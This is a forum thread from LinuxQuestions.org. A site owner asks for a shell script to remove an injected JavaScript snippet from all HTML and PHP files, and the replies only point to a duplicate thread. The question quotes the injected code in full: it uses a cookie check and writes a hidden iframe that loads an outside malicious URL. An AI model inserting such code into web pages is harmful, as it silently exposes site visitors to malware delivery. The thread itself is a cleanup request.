LinuxQuestions.org
Visit Jeremy's Blog.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Closed Thread
  Search this Thread
Old 02-21-2011, 05:18 AM   #1
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Rep: Reputation: 1
Remove a script from all files - Shell script


Hello,

I need a shell script which will search and remove a javascript from all htm, html and php file.

Code:
<script type="text/javascript"> if (navigator.cookieEnabled) {var user = getCookie("seostop");if (user !=1){winchristop();setCookie("seostop", "1", 7, "/");}}function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}function winchristop(){var a = 'style="hidden" frameborder=0 '; document.write('<iframe src ="http://irwinchristopher.co.cc/in.cgi?4" width=10 height=5 '+a+' marginheight=0 marginwidth=0 scrolling=no> </iframe>' );}function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} </script>
This is the script that i want to remove. I don't want to change the ownership of any of the file from which this script will be removed. Just wanna remove this specific line from all file in all directories.

Thanks for you help in advance.

Regards,
Saif
 
Old 02-21-2011, 05:31 AM   #2
EricTRA
LQ Guru
 
Registered: May 2009
Location: Gibraltar, Gibraltar
Distribution: Fedora 20 with Awesome WM
Posts: 6,805
Blog Entries: 1

Rep: Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297Reputation: 1297
Hello,

Please don't double post your question. It will only take the focus off the conversation and confuse you and us. Stick with your original thread. Reported because it's a duplicate of http://www.linuxquestions.org/questi...estion-864008/

Kind regards,

Eric
 
Old 02-22-2011, 09:09 AM   #3
archtoad6
Senior Member
 
Registered: Oct 2004
Location: Houston, TX (usa)
Distribution: MEPIS, Debian, Knoppix,
Posts: 4,727
Blog Entries: 15

Rep: Reputation: 234Reputation: 234Reputation: 234
Please post your thread in only one forum. Posting a single thread in the most relevant forum will make it easier for members to help you and will keep the discussion in one place. This thread should be closed because it is a duplicate of:
http://www.linuxquestions.org/questi...estion-864008/

Pending closure by the mods of this forum, please post all answers there.

Thank you.
 
  


Closed Thread



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
shell script to remove old files based on date WindozBytes Linux - General 12 06-04-2012 01:21 AM
remove duplicate lines from shell script himu3118 Programming 16 04-21-2012 07:37 AM
Shell script to remove backup ~ files hallamigo Linux - General 3 09-13-2010 03:47 PM
shell script - remove line siegi82 Linux - Software 7 07-20-2010 07:34 AM
Shell script to remove certain portion of the text kushalkoolwal Programming 4 08-24-2008 11:17 PM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 10:00 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration